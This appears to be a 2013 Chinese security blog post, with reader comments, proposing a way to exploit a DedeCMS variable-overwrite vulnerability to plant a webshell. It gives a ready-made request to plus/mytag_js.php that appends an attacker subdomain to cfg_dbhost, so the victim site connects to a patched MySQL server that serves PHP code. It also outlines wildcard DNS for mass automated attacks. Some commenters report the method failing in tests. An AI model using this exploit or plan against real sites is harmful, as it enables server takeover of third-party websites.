最近的那个dedecms变量覆盖漏洞,最后可以控制全局变量,但不能完全控制

$GLOBALS[$v1] .= $v2;

注意这里是递加的,是在已初始化的全局变量内容上再递加内容。

现在已公开的漏洞利用方法是控制cfg_dbprefix全局变量里的数据库表前缀,然后再用ExecuteNoneQuery2点进行SQL注入。不过这个点只能update,要直接GET WEBSHELL,需要mytag表中已经有记录,再update normbody字段的内容,利用dedecms的缓存机制GET WEBSHELL。如果dedecms默认这个表是空的,或者缓存已经生成过占了坑,就没办法GET WEBSHELL了!

除开这个方法,还有另外一个利用方法,假设原有程序的全局变量是$GLOBALS['cfg_dbhost']= 'locahost',变量内容是递加,那么我们能控制cfg_dbhost为locahost.80sec.com,把原有的cfg_dbhost变成连向我们的子域名locahost.80sec.com。

类似:

plus/mytag_js.php?aid=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=104&arrs1[]=111&arrs1[]=115&arrs1[]=116&arrs2[]=46&arrs2[]=56&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=99&arrs2[]=111&arrs2[]=109

$v1=cfg_dbhost
$v2=.80sec.com

不过这个要大规模利用,成本就有稍微点高了:

1.需要一台泛解析域名的服务器

弄成泛解析域名是为了能大规模自动化攻击,可以让程序连任意的子域名*.xx.com,都能反连到我们的mysql。

2.需要patch mysql

可以修改一下mysql源代码,整成任意用户名和密码都能登陆,类似于cve-2012-2122那个漏洞的效果。

再让数据库怎么连怎么查都强制返回dedecms mytag表中含有PHP代码的记录,这个就需要修改源代码里的 mysql_query函数了。

source

相关讨论:

1#

小胖子 (我是小胖子,我为z7y代言!!) | 2013-06-13 16:10

这个思路真淫荡,跟以前的不需要账号密码登陆是一样的连到别的数据库里面验证去了,这个是到别的里面去读取~

2#

z7y (我是z7y,我为小胖子代言!!) | 2013-06-13 16:39

这个思路真淫荡

3#

z7y (我是z7y,我为小胖子代言!!) | 2013-06-13 16:45

不过....让别人的网站连接到我们的数据库好像没啥用把,毕竟别人也会发现~你也导出不了shell...

4#

z7y (我是z7y,我为小胖子代言!!) | 2013-06-13 16:45

噢。好像懂了,请无视上面那句话!

5#

z7y (我是z7y,我为小胖子代言!!) | 2013-06-13 16:52

不过这方法...还是得 找到后台~

6#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10) | 2013-06-13 16:53

很赞的思路,膜拜茄子

留言评论(旧系统):

佚名 @ 2013-06-28 17:15:27

这个方法思路,我觉着还有待实验,因为是初始化类new DedeSql(FALSE)在先,也就是说64行的$this->dbHost = $GLOBALS['cfg_dbhost'];赋值在先,而改$GLOBALS['cfg_dbhost']在这之后,代码之后调用的是$this->dbHost,来指向主机的,所以我觉着这个思路应该是行不通的

本站回复:

试试呗

佚名 @ 2013-06-30 23:22:08

我没有改指向地址,我改的指向的库,我在他原有库上建了一个dedecmsv57gbk1的库,然后变量覆盖在原有库名上加了字符1,结果没有指向成功,分析是赋值在先,调用在后

本站回复:

╮(╯_╰)╭